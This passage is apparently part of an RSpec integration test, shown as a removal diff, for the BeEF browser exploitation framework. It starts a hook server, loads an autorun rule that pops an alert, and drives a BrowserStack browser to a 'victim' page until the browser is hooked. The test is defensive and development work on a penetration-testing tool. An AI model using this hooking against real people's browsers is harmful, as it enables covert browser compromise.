- BeEF::Core::Migration.instance.update_db! - - # add AutoRunEngine rule - test_rule = { 'name' => 'Display an alert', 'author' => 'mgeeky', 'browser' => 'ALL', 'browser_version' => 'ALL', 'os' => 'ALL', 'os_version' => 'ALL', 'modules' => [{ 'name' => 'alert_dialog', 'condition' => nil, 'options' => { 'text' => "You've been BeEFed ;>" } }], 'execution_order' => [0], 'execution_delay' => [0], 'chain_mode' => 'sequential' } - - BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory - # are_engine.R - - # Spawn HTTP Server - print_info 'Starting HTTP Hook Server' - http_hook_server = BeEF::Core::Server.instance - - # Generate a token for the server to respond with - @token = BeEF::Core::Crypto.api_token - - # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** - disconnect_all_active_record! - - # Initiate server start-up - @pid = fork do - http_hook_server.prepare - BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) - http_hook_server.start - end - - begin - @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID]) - @caps['name'] = self.class.description || ENV['name'] || 'no-name' - @caps['browserstack.local'] = true - @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER'] - - @driver = Selenium::WebDriver.for(:remote, - url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub", - options: @caps) - # Hook new victim - print_info 'Hooking a new victim, waiting a few seconds...' - wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds - - @driver.navigate.to VICTIM_URL.to_s - - sleep 1 - - sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 } - - @session = @driver.execute_script('return window.beef.session.get_hook_session_id()') - end - end - - after(:all) do - server_teardown(@driver, @pid, @pids) - disconnect_all_active_record! - SpecActiveRecordConnection.restore!(@__ar_config_snapshot) - end - - it 'AutoRunEngine is working' do - expect(@session).not_to be_nil - end -end